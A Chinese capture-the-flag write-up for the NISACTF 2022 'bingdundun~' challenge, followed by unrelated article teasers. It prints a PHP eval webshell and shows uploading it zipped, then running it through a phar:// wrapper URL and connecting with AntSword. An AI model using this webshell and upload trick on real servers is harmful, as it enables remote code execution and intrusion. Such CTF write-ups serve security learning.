[NISACTF 2022]bingdundun~

[NISACTF 2022]bingdundun~

考点

文件上传、Phar://伪协议

一、题目

image-20221016181213733

image-20221016181226326

打开题目,发现是一道文件上传的题目,因为提示了可以压缩包,所以尝试直接上传zip文件,然后利用PHP伪协议读取Webshll文件。

二、WP

1、构建压缩包

我们直接创建一个一句话木马文件,并将其压缩为zip文件。

shell.php -> shell.zip

<?=eval($_REQUEST['cmd']);?>

image-20221016181609533

2、上传Zip文件

image-20221016181828828

直接给出了上传路径,我们利用伪协议打开该文件

3、phar://

主要是用于在php中对压缩文件格式的读取。这种方式通常是用来配合文件上传漏洞使用,或者进行进阶的phar反序列化攻击

用法就是把一句话木马压缩成zip格式,shell.php -> shell.zip,然后再上传到服务器(后续通过前端页面上传也没有问题,通常服务器不会限制上传 zip 文件),再访问:?filename=phar://…/shell.zip/shell.php

http://1.14.71.254:28572/?bingdundun=phar://51120a67062495d6fda0396f53503046.zip/shell

shell为上传的一句话木马文件名。

image-20221016182034710

4、蚁剑连接Webshell

在根目录下发现Flag

image-20221016182307362

下发现Flag

本文转载于网络 如有侵权请联系删除

相关文章

  • Android实现圆形图像的两种方法(Glide和Picasso)

    Android实现圆形图像的两种方法先上效果图GlidePicassoCircleTransform.java(圆形图片工具类)先上效果图Glide在app的build.gradle中引入: //加载图片 implementation'com.github.bumptech.glide:glide:4.13.1'复制//如果涉及到网络加载图片,需要在manifest.xml文件中增加网络权限 <uses-permissionandroid:name="android.permission.INTERNET"/>复制//直接在java文件中引用库就OK /** *context:Context(with参数类型可以为Context、Activity、FragmentActivity、Fragment、View) *uri:Uri(load参数类型可以为Bitmap、Drawable、String、Uri、File、Integer、URL、byte[]、Object) *apply:RequestOptions.bitmapTransfo

  • 企业架构不可缺少的基础:如何形成战略!

    作者:付晓岩内容摘自《聚合架构:面向数字生态的构件化企业架构》一书,经出版方授权发布。一、完整的战略设计过程战略设计有严谨而漫长的操作方式,也有可以快捷执行的操作方式。对于大型企业而言,由于其业务和组织的复杂度都比较高,因此可以考虑进行相对复杂的战略管理。对快捷操作方式更感兴趣的读者,笔者也建议您先多点耐心,了解一下完整的战略设计如何开展,再看如何便捷操作,这样也许可以为实际执行提供更多的参考。本文介绍的是一个比较完整的战略设计过程,愿景、价值观、战略和战略能力的分析都可以采用这个统一的过程,将这些分析结合进行,企业在实践中可以根据需要从完整过程中裁剪。该过程如图6-2所示。图6-2 完整的战略设计过程 01:组织准备组织准备对于战略设计而言是一个非常重要的环节,尤其是在规模较大的企业中。不少大型企业设有战略管理部,但是战略设计只是战略管理部牵头完成的工作事项,而非仅是战略管理部的工作。战略关系到企业各个层级,并非只有领导者需要关心,各级业务人员、技术人员都应该关心,只不过在关注的侧重点和形式上有所区别。高层关注的是战略本身和执行情况;各级执行层关注的是分解下来的战略任务以及自己工作与

  • Vue3.0 要凉凉了? 官方负责人的一句话,开发者瞬间坐不住了

    作者:可可|开发者技术前线原创Vue是目前前端主流的框架,在2.0发布以来,Vue快速得到了国内开发者的热捧,star数量也是直线上涨,接着可可(常驻编辑)发现Vue3.0计划作出比vue2.0的改进。更快更小更易于维护更多的原生支持更易于开发使用但在2.0发布不到半年后,国内的各大开发者提出了质疑,并且一部分开发放弃vue,回归React。Vue相当于自杀了前端开发者提出了讨论声:“Vue3.0的想法是引入灵感来自于ReactHook的Function-basedAPI,作为主要的组件声明方式。 意思就是所有组件的初始状态、computed、watch、methods都要在一个叫做setup的方法中定义,抛弃(暂时会继续兼容)原有的基于对象的组件声明方式。 Reddit、HN相关的讨论帖,包括这个RFCPR的本身,都有大量强烈的反对的声音,然而目前Vue的核心团队似乎并不认为这个改变可能是一个错误,而是在努力说服大家接受这个改变。 (个人认为如果这个改变实装到Vue3.0,也许不会带来太大的影响,但是如果在Vue4.0中彻底废弃原有的组件声明方式,Vue相当于自杀了。)”在很多

  • C++核心准则​SL.str.3:使用zstring或czstring引用C风格0结尾的字符串序列

    SL.str.3:UsezstringorczstringtorefertoaC-style,zero-terminated,sequenceofcharactersSL.str.3:使用zstring或czstring引用C风格0结尾的字符串序列Reason(原因)Readability.Statementofintent.Aplainchar*canbeapointertoasinglecharacter,apointertoanarrayofcharacters,apointertoaC-style(zero-terminated)string,oreventoasmallinteger.Distinguishingthesealternativespreventsmisunderstandingsandbugs.可读性。表达意图。直接的char*可以是指向单个的字符的指针,指向字符数组的指针,指向C风格(0结尾)字符串的指针,甚至指向小整数的指针。区别这些情况可以防止误解和错误。Example(示例)voidf1(constchar*s);//sisprobablyastrin

  • 持续引领大数据行业发展,腾讯云发布全链路数据开发平台WeData

    9月11日,在腾讯全球数字生态大会大数据专场上,腾讯云大数据产品副总经理雷小平重磅发布了全链路数据开发平台WeData,同时发布和升级了流计算服务、云数据仓库、ES、企业画像等6款核心产品,进一步优化和提升了腾讯云大数据的全托管能力,助力企业从基础设施层、场景开发层以及行业应用层快速构建一站式大数据平台能力。「 借助WeData,企业数据开发门槛降低60%」雷小平表示:“构建大数据开发平台是企业数字化转型的关键步骤,然而从数据集成到开发调度等涉及的模块众多,导致整个平台的维护和升级成本非常高,从而使团队无法聚焦在业务本身。基于此,腾讯云大数据发布的全链路数据开发平台WeData,打通了通用大数据开发和数据治理中涉及到的所有环节,实现全链路覆盖,让用户可以将精力更多投入在业务增长上。”具体来说,WeData提供了涵盖数据即席分析、数据任务可视化编排、运维等在内的全链路数据开发能力。借助于WeData,企业数据开发门槛可有效降低60%。同时,WeData在云端构建了统一的元数据管理能力,涵盖技术元数据和业务元数据的管理,并打通了EMR、数仓、MySQL甚至对象存储等在内元数据,以便于企业数

  • Pytest系列(19)- 我们需要掌握的allure特性

    如果你还想从头学起Pytest,可以看看这个系列的文章哦!https://www.cnblogs.com/poloyy/category/1690628.html前言前面我们介绍了allure的快速入门,只是单纯的敲allure命令而已其实allure还有内置的特性可以让我们在pytest代码里面用起来,然后我们生成的报告更加直观、详细、贴合管理层的心意...Environment可以理解成环境变量参数,没有什么实际作用,个人觉得只是为了让别人知道本次测试的运行环境参数而已,显示啥都是自己定的注意!!默认是没有的哦如何添加Environment呢通过创建environment.properties或者environment.xml文件,并把文件存放到allure-results(这个目录是生成最后的html报告之前,生成依赖文件的目录)目录下,就是--alluredir后面跟的目录像我这里目录就是allure,所以放在allure下面--alluredirallureenvironment.propertiesBrowser=Chrome Browser.Version=81.0.40

  • 网络探测:Blackbox Exporter

    网络探测:BlackboxExporter什么是blackboxexporter?BlackboxExporter是Prometheus社区提供的官方黑盒监控解决方案,其允许用户通过:http\HTTPS\DNS\TCP\ICMP的方式对网络进行探测.以docker方式运行blackboxexporter拉取镜像dockerpullprom/blackbox-exporter复制查看dockerfile(这是一个好习惯)$catcheck_docker_file.sh #!/bin/bash exportPATH=$PATH if[$#-eq1];then dockerhistory--format{{.CreatedBy}}--no-trunc=true$1|sed"s/\/bin\/sh\-c\\#(nop)\//g"|sed"s/\/bin\/sh\-c/RUN/g"|tac else echo"shObtain_dockerfile.sh$DOCKER_IMAGE" fi $shcheck_docker_file.s

  • Android极速开发之发送短信

    欢迎留言、转发、打赏项目源码参考地址点我点我--欢迎Start1、调用系统已有程序发短信功能/** *@paramphoneNumber *@parammessage */ publicvoiddoSendSMSTo(StringphoneNumber,Stringmessage){ if(PhoneNumberUtils.isGlobalPhoneNumber(phoneNumber)){ Intentintent=newIntent(Intent.ACTION_SENDTO,Uri.parse("smsto:"+phoneNumber)); intent.putExtra("sms_body",message); startActivity(intent); } }复制2、调用API来实现发送短信SMS涉及的主要类SmsManager实现SMS主要用到SmsManager类,该类继承自java.lang.Object类,下面我们介绍一下该类的主要成员。公有方法:ArrayList<String>divideMessage(Stri

  • 深度学习与神经网络:正则化小栗子(附代码)

    在上一篇文章中我们简单说了说AIC,BIC和L1,L2正则化的东西,而今天这篇文章,我们将着重说说正则化.1:什么是正则化?首先,拿过来上一篇文章的定义:√正则化:在损失函数中给每个参数w加上权重,引入模型复杂度指标,从而抑制模型噪声,减小过拟合。使用正则化后,损失函数loss变为两项之和:loss=loss(y与y_)+REGULARIZER*loss(w)其中,第一项是预测结果与标准答案之间的差距,如之前讲过的交叉熵、均方误差等;第二项是正则化计算结果。2:正则化如何计算?①L1正则化:??????=∑?|??|用Tesnsorflow函数表示:loss(w)=tf.contrib.layers.l1_regularizer(REGULARIZER)(w)②L2正则化:??????=∑?|??|?用Tesnsorflow函数表示:loss(w)=tf.contrib.layers.l2_regularizer(REGULARIZER)(w)③:用Tesnsorflow函数实现正则化:tf.add_to_collection('losses',tf.contrib

  • 9.1 正则介绍_grep(上)

    正则介绍正则就是一串有规律的字符串掌握好正则对编写shell脚本帮助交大各种编程语言中都有正则,原理是一样的grep/egrep、sed、awkgrep命令grep命令,它是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。格式:grep[-cinvABC]'word'filename-c行数-i不区分大小写-n显示行号-v取反-r遍历所有子目录-A后面跟数字,过滤出符合要求的行以及下面n行-B同上,过滤出符合要求的行以及上面n行-C同上,过滤出符合要求的行以及上下各n行[root@localhost~]#mkdirgrep [root@localhost~]#cdgrep/ [root@localhostgrep]#cp/etc/passwd. [root@localhostgrep]#ls passwd [root@localhostgrep]#pwd /root/grep [root@localhostgrep]#grep'nologin'passwd//会看到过滤的关键词标红 bin:x:1:1:bin:/bin:

  • 数据结构-二叉树遍历总结

    二叉树结构二叉树是一种特殊的树,每个父结点最多只能用有两个子结点。 在树中,按照结点的“继承”关系可以分为父结点和子结点; 按照结点的位置关系可以分为根结点,中间结点和叶结点。 其中叶结点没有子结点。 我们用结点中的数字代表结点,那么在上图中:10为根结点;6、14为中间结点;4、8、12、16为叶节点。二叉树存储结构二叉树结构可以使用链式和顺序两种方式实现,其中比较常用的链式存储结构:链式结构typedefcharTElemType; typedefstructBiTNode/*结点结构*/ { TElemTypedata;/*结点数据*/ structBiTNode*lchild,*rchild;/*左右孩子指针*/ }BiTNode,*BiTree;复制也可以写成这样,更清晰一些:typedefcharTElemType; typedefstructBiTNode{ TElemTypedata; structBiTNode*lchild; structBiTNode*rchild; }BiTNode; typedefBiTNode*BiTree;复制顺序结构#defineLEN

  • 苹果怎么测试真机_iphone7plus验机步骤

    大家好,又见面了,我是你们的朋友全栈君。1、点击左上角菜单Xcode->Preferences。 2、在跳出来的小窗口页面的左下角,点击加号添加苹果id。 3、在账号密码输入完毕后,点击小窗口右下角的viewdetails或者双击右下角自己的id账号。然后把IOSdevelopment点击create至选中态。如图: 4、将设备通过数据线连接Mac(手机弹出窗口时,选择信任此电脑) 5、此时在设备列表上应该能看到自己的手机(在模拟器列表最上面),并选中。 6、在工程配置文件里,点击General,在最上面identity部分将Bundleidentifier设置成未曾重复的。并把Team设置为自己的账号,DeploymentTarget设置为与自己手机相同的版本号,Devices设置成iphone。 7、最后点击FIxissue。等待一段时间让xcode生成Provisioningprofiles。 8、如果xcode提示手机权限不够,在设置/通用/设备管理中,点击右拉箭头,选择所装软件即可。有的iphone版本是设置/通用/描述文件选择所装软件。 9、即可在手机上看到自己的A

  • 某验五子棋验证码

    测试地址 aHR0cHM6Ly9ndDQuZ2VldGVzdC5jb20= python代码 #!/usr/bin/python #-*-coding:UTF-8-*- #Author:Jruing #FileName:极验证码v4五子棋 #DateTime:2021/10/1415:08 #SoftWare:PyCharm fromlxml.htmlimportetree importre importcopy #fromselenium.webdriverimportChrome #fromselenium.webdriver.common.action_chainsimportActionChains # #importtime # #driver=Chrome(executable_path=r'D:\tools\chromedriver.exe') #driver.get("https://gt4.geetest.com/") #driver.maximize_window() #time.sleep(10) #input("ssss") #print(driver.p

  • pyenv 2.7 环境安装MySQL-python ERROR

    ERROR:Commanderroredoutwithexitstatus1: command:/root/.pyenv/versions/2.7.18/envs/env27/bin/python-u-c'importsys,setuptools,tokenize;sys.argv[0]='"'"'/tmp/pip-install-ULsldh/MySQL-python/setup.py'"'"';__file__='"'"'/tmp/pip-install-ULsldh/MySQL-python/setup.py'"'"';f=getattr(tokenize,'"'"'open'"'"',open)(__file__);code=f.read().replace('"'"'\r\n'"'"','"'"'\n'"'"');f.close();exec(compile(code,__file__,'"'"'exec'"'"'))'install--record/tmp/pip-record-aa7Smo/install-record.txt--single-version-extern

  • linux下用iptables做本机端口转发方法(转载)

    一:从一台机到另一台机端口转发 启用网卡转发功能#echo1>/proc/sys/net/ipv4/ip_forward举例:从192.168.0.132:21521(新端口)访问192.168.0.211:1521端口   a.同一端口转发(192.168.0.132上开通1521端口访问 iptables-ARH-Firewall-1-INPUT-mstate--stateNEW-mtcp-ptcp--dport1521-jACCEPT) iptables-tnat-IPREROUTING-ptcp--dport1521-jDNAT--to192.168.0.211iptables-tnat-IPOSTROUTING-ptcp--dport1521-jMASQUERADEb.不同端口转发(192.168.0.132上开通21521端口访问 iptables-ARH-Firewall-1-INPUT-mstate--stateNEW-mtcp-ptcp--dport21521-jACCEPT) iptables-tnat-APREROUTING-p

  • 义牛有灵舍命报恩&#160;力拼强盗感人肺腑

    明朝时江山有一个书生,名叫朱恺,表字寿仁,性情淳厚,自幼好学。朱家过去三代,不吃牛肉、狗肉。朱恺从小失去父亲,由于身体瘦弱,经常得病,每次只要喝牛肉汤就会好转,所以从小吃了不少牛肉。因为家里比较贫困,朱恺就到邻村教书。 这一年端午节,朱恺准备回家,从主人家拿到酬金,一共八两银子。回家路上忽然下起大雨,朱恺就到路边古庙避雨,看见墙壁上贴着两张纸,第一张写着杀牛的果报,另一张则写着吃牛肉的果报。两篇文字浅显易懂,却又哀伤恳切,朱恺想起自幼吃过不少牛肉,不禁非常惭愧,汗流不止,他怅然地想道:“我今年已经二十九岁了,至今没有考中秀才,未必不是吃牛肉的缘故。况且我们朱家原本就有祖训,已经三代不吃牛肉、狗肉,如今我却违背祖训,属于不孝。牛为我们耕耘田地、运输粮食,功劳很大,我却食用牛肉,属于不仁。放任自己口腹之欲,贪图一时之乐,属于不义。看到这种行为将有严重报应,却不痛改前非,属于不智。我犯下这四条重罪,恐怕灾祸就要降临,哪里还有什么功名福禄?”于是朱恺就走到神像前叩头祷告,立誓从此以后再也不吃牛肉。 雨停之后,朱恺正要出来继续赶路,碰到村里的屠夫尤光宇进庙。朱恺问尤光宇:“你为何来庙里?”尤光宇

  • 数据结构--栈与队列

    专题--栈与队列   栈:先入后出。   队列:先入先出。 1#include<iostream> 2#include<cstdlib> 3 4usingnamespacestd; 5 6constintMAXSIZE=100; 7//顺序存储 8structStack 9{ 10intdata[MAXSIZE]; 11inttop; 12}; 13//两栈共享空间结构 14structDStack 15{ 16intdata[MAXSIZE]; 17inttop1; 18inttop2; 19}; 20 21//链式存储(不需要头结点) 22structStackNode 23{ 24intdata;//数据域 25StackNode*next;//指针域 26}; 27typedefStackNode*LinkStackPtr; 28structLinkStack 29{ 30LinkStackPtrtop;//头指针 31intcount;//存储元素个数,用来判断链栈是否为空 32}; 33//入栈 34boolPush(LinkStack*S,int

  • storm 入门原理介绍

    1.hadoop有master与slave,Storm与之对应的节点是什么? 2.Storm控制节点上面运行一个后台程序被称之为什么? 3.Supervisor的作用是什么? 4.Topology与Worker之间的关系是什么? 5.Nimbus和Supervisor之间的所有协调工作有master来完成,还是Zookeeper集群完成? 6.storm稳定的原因是什么? 7.如何运行Topology? stromjarall-your-code.jarbacktype.storm.MyTopologyarg1arg2 8.spout是什么? 9.bolt是什么? 10.Topology由两部分组成? 11.streamgrouping有几种? Storm是一个分布式的、高容错的实时计算系统。 Storm对于实时计算的的意义相当于Hadoop对于批处理的意义。Hadoop为我们提供了Map和Reduce原语,使我们对数据进行批处理变的非常的简单和优美。同样,Storm也对数据的实时计算提供了简单Spout和Bolt原语。 Storm适用的场景: 1、流数据处理:Storm可以

  • 并发编程之线程、线程定时器、进程池、线程池(更新中....)

    线程queue用法 importqueue q=queue.Queue()队列先进先出 q=queue.LifoQueue()#堆栈先进后出 q=queue.PriorityQueue()#可以根据优先级取数据 线程定时器 导入 fromthreadingimportThread,Timer 使用 t=Timer(4,task)#过了4秒开启了一个线程 socket多线程 服务端 importsocket fromthreadingimportThread deftask(conn): whileTrue: try: msg=conn.recv(1024) iflen(msg)==0:break conn.send(msg.upper()) exceptException: print("客户端关闭了一个链接") break defrun(): whileTrue: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind(('127.0.0.1',8020)) s.listen(5)

  • Windows7硬盘安装openSUSE12.1+WIN7双系统全程图解

    http://www.linuxsight.com/blog/3029

  • 剑指offer-数字在排序数组中出现的次数-数组-python

    题目描述 统计一个数字在排序数组中出现的次数。   python内置函数count()一行就能搞定   解题思路 二分查找到给定的数字及其坐标。以该坐标为中点,向前向后找到这个数字的始–终位置。 classSolution: defGetNumberOfK(self,data,k): iflen(data)<1: return0 mid=len(data)//2 ifdata[mid]==k: start,end=mid,mid foriinrange(mid,-1,-1): ifdata[i]==k:start-=1 forjinrange(mid+1,len(data)): ifdata[j]==k:end+=1 returnend-start elifdata[mid]<k: returnself.GetNumberOfK(data[:mid],k) else: returnself.GetNumberOfK(data[mid+1:],k) printSolution().GetNumberOfK([1,2,3,3,3,3],3)复制 &n

相关推荐

推荐阅读